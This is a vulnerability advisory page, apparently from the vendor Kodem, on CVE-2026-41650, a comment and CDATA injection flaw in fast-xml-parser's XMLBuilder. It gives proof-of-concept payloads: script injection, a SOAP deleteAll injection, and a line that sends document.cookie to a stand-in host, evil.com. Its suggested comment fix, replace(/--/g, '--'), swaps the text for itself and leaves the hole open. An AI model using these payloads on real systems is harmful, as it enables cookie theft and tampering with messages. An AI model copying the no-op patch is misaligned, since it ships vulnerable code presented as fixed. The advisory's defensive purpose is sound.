CVE-2026-41650

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

• CVE-2023-26920: Prototype pollution (parser)
• CVE-2023-34104: ReDoS (parser)
• CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
• CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
2. SOAP injection: Modify SOAP message structure by injecting XML elements
3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

CVE-2026-41650 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.7.0); upgrading removes the vulnerable code path.

Kodem intelligence

Escape delimiters in comment and CDATA content:

// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '--');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

1. What is CVE-2026-41650? CVE-2026-41650 is a medium-severity security vulnerability in fast-xml-parser (npm), affecting versions < 5.7.0. It is fixed in 5.7.0.
2. How severe is CVE-2026-41650? CVE-2026-41650 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of fast-xml-parser are affected by CVE-2026-41650? fast-xml-parser (npm) versions < 5.7.0 is affected.
4. Is there a fix for CVE-2026-41650? Yes. CVE-2026-41650 is fixed in 5.7.0. Upgrade to this version or later.
5. Is CVE-2026-41650 exploitable, and should I be worried? Whether CVE-2026-41650 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41650 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41650? Upgrade fast-xml-parser to 5.7.0 or later.